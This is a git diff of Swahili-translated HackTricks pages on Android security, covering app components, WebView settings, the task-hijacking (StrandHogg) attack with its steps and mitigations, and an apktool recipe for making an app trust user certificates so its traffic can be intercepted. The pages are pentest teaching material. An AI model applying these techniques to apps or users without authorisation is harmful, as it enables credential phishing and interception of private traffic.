Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
|
||||||
|
|
||||||
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kupeleka**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
|
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kupeleka**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
### Wapokeaji wa Matangazo
|
### Wapokezi wa Matangazo
|
||||||
|
|
||||||
**Wapokeaji wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokeaji waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili.
|
**Wapokezi wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokezi** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokezi waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili.
|
||||||
|
|
||||||
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanachochea mpokeaji. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji huitwa, ikiruhusu programu kureagiria ipasavyo, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua.
|
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kuanza kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kureagiria ipasavyo, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua.
|
||||||
|
|
||||||
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **ya kusinkroni**, ambapo wapokeaji wanapata tangazo kulingana na vipaumbele vilivyowekwa. Walakini, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
|
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokezi wote bila mpangilio, au **yasinkroni**, ambapo wapokezi wanapata tangazo kulingana na vipaumbele vilivyowekwa. Walakini, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
|
||||||
|
|
||||||
Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokeaji, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kurekebisha au kudondosha Nia.
|
Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokezi, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kuhariri au kudondosha Nia.
|
||||||
|
|
||||||
### Mtoaji wa Yaliyomo
|
### Mtoaji wa Yaliyomo
|
||||||
|
|
||||||
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikiboresha sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa udhibiti wa kina wa upatikanaji.
|
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, faili za mfumo, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kuruhusiwa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichanganya sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa kudhibiti upatikanaji kwa undani.
|
||||||
|
|
||||||
Uthibitishaji wa kuingiza ni muhimu kuzuia udhaifu, kama vile kuingiza SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu.
|
Uthibitishaji wa kuingiza ni muhimu kuzuia udhaifu, kama vile kuingiza SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu.
|
||||||
|
|
||||||
**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imefafanuliwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufunua data nyeti kwa bahati mbaya.
|
**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imetajwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufunua data nyeti kwa bahati mbaya.
|
||||||
|
|
||||||
Mfano wa tangazo la mwongozo kwa FileProvider:
|
Mfano wa tangazo la mwongozo kwa FileProvider:
|
||||||
```xml
|
```xml
|
||||||
|
@ -331,14 +342,14 @@ Kwa maelezo zaidi angalia:
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka wavuni au kutoka kwenye faili za ndani. Wanakabili hatari kama vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
|
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka kwenye wavuti au kutoka kwenye faili za ndani. Wanakabili hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
|
||||||
|
|
||||||
Android inatoa aina mbili kuu za WebView:
|
Android inatoa aina mbili kuu za WebView:
|
||||||
|
|
||||||
- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haisaidii kazi ya onyo ya JavaScript, ikibadilisha jinsi mashambulizi ya XSS yanavyoweza kujaribiwa.
|
- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haisaidii kazi ya onyo ya JavaScript, ikibadilisha jinsi mashambulizi ya XSS yanavyoweza jaribiwa.
|
||||||
- **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome.
|
- **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome.
|
||||||
|
|
||||||
Kitu muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa.
|
Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kuu cha kifaa.
|
||||||
|
|
||||||
Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDataWithBaseURL```` zinapatikana. Ni muhimu kuhakikisha kuwa URL au faili hizi ni **salama kutumia**. Vipimo vya usalama vinaweza kusimamiwa kupitia darasa la ````WebSettings````. Kwa mfano, kulemaza JavaScript na ````setJavaScriptEnabled(false)```` kunaweza kuzuia mashambulizi ya XSS.
|
Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDataWithBaseURL```` zinapatikana. Ni muhimu kuhakikisha kuwa URL au faili hizi ni **salama kutumia**. Vipimo vya usalama vinaweza kusimamiwa kupitia darasa la ````WebSettings````. Kwa mfano, kulemaza JavaScript na ````setJavaScriptEnabled(false)```` kunaweza kuzuia mashambulizi ya XSS.
|
||||||
|
|
||||||
|
@ -347,17 +358,17 @@ Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDa
|
||||||
Kuruhusu ufikiaji wa yaliyomo (````setAllowContentAccess(true)````) inaruhusu WebViews kufikia Watoa Huduma wa Yaliyomo, ambayo inaweza kuwa hatari isipokuwa URL za yaliyomo zimehakikiwa kuwa salama.
|
Kuruhusu ufikiaji wa yaliyomo (````setAllowContentAccess(true)````) inaruhusu WebViews kufikia Watoa Huduma wa Yaliyomo, ambayo inaweza kuwa hatari isipokuwa URL za yaliyomo zimehakikiwa kuwa salama.
|
||||||
|
|
||||||
Kudhibiti ufikiaji wa faili:
|
Kudhibiti ufikiaji wa faili:
|
||||||
- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na matakwa kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri.
|
- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na ubaguzi kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri.
|
||||||
|
|
||||||
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Mkononi
|
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Mkononi
|
||||||
|
|
||||||
### **Kusainiwa Kidijitali kwa Programu**
|
### **Kusainiwa Kidijitali kwa Programu**
|
||||||
|
|
||||||
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au zilizothibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioruhusiwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kufikishwa kwenye kifaa.
|
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti ya kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejijiau au kuthibitishwa na CA ya nje**, kujilinda dhidi ya ufikiaji usioruhusiwa na kuhakikisha programu inabaki bila kuguswa wakati wa kufikishwa kwenye kifaa.
|
||||||
|
|
||||||
### **Uhakiki wa Programu kwa Usalama Ulioboreshwa**
|
### **Uhakiki wa Programu kwa Usalama Ulioboreshwa**
|
||||||
|
|
||||||
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** kinaruhusu watumiaji kupata uhakiki wa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasidi, kuimarisha usalama wa mtumiaji.
|
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** inaruhusu watumiaji kupata uhakiki wa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasi, kuimarisha usalama wa mtumiaji.
|
||||||
|
|
||||||
### **Usimamizi wa Kifaa cha Mkononi (MDM)**
|
### **Usimamizi wa Kifaa cha Mkononi (MDM)**
|
||||||
|
|
||||||
|
@ -372,6 +383,12 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -2,18 +2,26 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Kazi, Back Stack na Shughuli za Mbele
|
## Kazi, Back Stack na Shughuli za Mbele
|
||||||
|
|
||||||
Katika Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zilizoandaliwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu ndio inayoonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
|
Katika Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zilizoandaliwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu ndio inayoonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
|
||||||
|
@ -35,37 +43,29 @@ Katika programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa
|
||||||
|
|
||||||
### Modes za Kuzindua
|
### Modes za Kuzindua
|
||||||
|
|
||||||
Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikidhibiti hali tatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Utekelezaji unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa.
|
Sifa ya `launchMode` inaelekeza namna ya kushughulikia mifano ya shughuli ndani ya kazi. Mode ya **singleTask** ni muhimu kwa shambulio hili, ikiongoza mazingira matatu kulingana na mifano ya shughuli iliyopo na mechi za urafiki wa kazi. Utekelezaji unategemea uwezo wa programu ya muhusika kufanana na urafiki wa kazi wa programu ya lengo, kudanganya mfumo wa Android kuzindua programu ya muhusika badala ya lengo lililokusudiwa.
|
||||||
|
|
||||||
### Hatua za Shambulio Kwa Undani
|
### Hatua za Shambulio za Kina
|
||||||
|
|
||||||
1. **Usakinishaji wa Programu ya Madhara**: Mfanyikazi anasakinisha programu ya muhusika kwenye kifaa chake.
|
1. **Usakinishaji wa Programu ya Madhara**: Muhusika anasakinisha programu ya muhusika kwenye kifaa chao.
|
||||||
2. **Uanzishaji wa Awali**: Mfanyikazi kwanza anafungua programu ya madhara, kuweka kifaa tayari kwa shambulio.
|
2. **Uanzishaji wa Awali**: Muhusika kwanza anafungua programu ya madhara, kuweka kifaa kwa ajili ya shambulio.
|
||||||
3. **Jaribio la Kuzindua Programu ya Lengo**: Mfanyikazi anajaribu kufungua programu ya lengo.
|
3. **Jaribio la Kuzindua Programu ya Lengo**: Muhusika anajaribu kufungua programu ya lengo.
|
||||||
4. **Utekelezaji wa Kuteka**: Kutokana na urafiki wa kazi unaofanana, programu ya madhara inazinduliwa badala ya programu ya lengo.
|
4. **Utekelezaji wa Kuteka**: Kutokana na urafiki wa kazi unaofanana, programu ya madhara inazinduliwa badala ya programu ya lengo.
|
||||||
5. **Udanganyifu**: Programu ya madhara inaonyesha skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza habari nyeti.
|
5. **Udanganyifu**: Programu ya madhara inaleta skrini bandia ya kuingia inayofanana na programu ya lengo, kuwadanganya watumiaji kuingiza habari nyeti.
|
||||||
|
|
||||||
Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||||
|
|
||||||
### Hatua za Kuzuia
|
### Hatua za Kuzuia
|
||||||
|
|
||||||
Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya `singleInstance` ya kuzindua, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubinafsisha kazi ya `onBackPressed()` hutoa ulinzi zaidi dhidi ya kuteka kazi.
|
Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya kuzindua ya `singleInstance`, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubinafsisha kazi ya `onBackPressed()` hutoa ulinzi zaidi dhidi ya kuteka kazi.
|
||||||
|
|
||||||
## **Vyanzo**
|
## **Vyanzo**
|
||||||
|
|
||||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||||
|
|
||||||
<details>
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,22 +1,30 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kuchunguza trafiki ya wavuti kwa baadhi ya programu tunapaswa kuchambua tena programu na kuongeza vitu kadhaa na kuirudisha.
|
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kuchunguza trafiki ya wavuti kwa baadhi ya programu tunapaswa kuchambua tena programu na kuongeza vitu kadhaa na kuirudisha.
|
||||||
|
|
||||||
# Kiotomatiki
|
# Kiotomatiki
|
||||||
|
|
||||||
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia kulemaza certificate pinning (ikiwapo ipo).
|
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia kulemaza certificate pinning (ikiwa ipo).
|
||||||
|
|
||||||
# Kwa Mkono
|
# Kwa Mkono
|
||||||
|
|
||||||
|
@ -24,7 +32,7 @@ Kwanza tunachambua programu: `apktool d *jina-la-faili*.apk`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img9.png)
|
![](../../.gitbook/assets/img9.png)
|
||||||
|
|
||||||
Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa hauko tayari:
|
Kisha tunakwenda kwenye faili ya **Manifest.xml** & tunasonga chini hadi lebo ya `<\application android>` na tutaweka mstari ufuatao ikiwa bado hauko:
|
||||||
|
|
||||||
`android:networkSecurityConfig="@xml/network_security_config`
|
`android:networkSecurityConfig="@xml/network_security_config`
|
||||||
|
|
||||||
|
@ -36,7 +44,7 @@ Baada ya kuongeza:
|
||||||
|
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
Sasa nenda kwenye folda ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
|
Sasa nenda kwenye saraka ya **res/xml** & unda/boresha faili iitwayo network\_security\_config.xml na yaliyomo yafuatayo:
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -49,7 +57,7 @@ Sasa nenda kwenye folda ya **res/xml** & unda/boresha faili iitwayo network\_sec
|
||||||
</base-config>
|
</base-config>
|
